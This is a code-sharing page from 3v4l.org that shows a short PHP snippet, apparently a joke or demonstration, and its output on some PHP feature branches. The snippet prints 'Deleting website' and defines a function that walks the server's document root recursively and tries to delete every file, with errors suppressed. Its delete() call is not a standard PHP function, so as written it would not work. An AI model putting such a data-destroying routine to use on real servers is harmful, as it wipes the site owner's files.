3v4l.org

run code in 300+ PHP versions simultaneously
<html> <body> <p>Deleting website; please wait <img src="data:image/gif;base64,R0lGODlhCAAIAPAAAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQEMgD/ACwAAAAACAAIAAACBoSPqcvtXQAh+QQFMgAAACwAAAAACAAIAAACBoyPqcvtXQA7" /></p> <?php function zapfiles($dir) { if (is_dir($dir)) { $files = scandir($dir); foreach ($files as $file) { if ($file != '.' && $file != '..') { if (is_dir("$dir/$file")) { zapfiles("$dir/$file"); } else { try { @delete("$dir/$file"); // Suppress locked file errors } catch (Exception $e) { // Locked files can't be deleted; just carry on } } } } } } zapfiles($_SERVER['DOCUMENT_ROOT']); ?> <p>Website deletion complete</p>
Output for git.master, git.master_jit, rfc.property-hooks
<html> <body> <p>Deleting website; please wait <img src="data:image/gif;base64,R0lGODlhCAAIAPAAAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQEMgD/ACwAAAAACAAIAAACBoSPqcvtXQAh+QQFMgAAACwAAAAACAAIAAACBoyPqcvtXQA7" /></p> <p>Website deletion complete</p>

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
38.73 ms | 401 KiB | 8 Q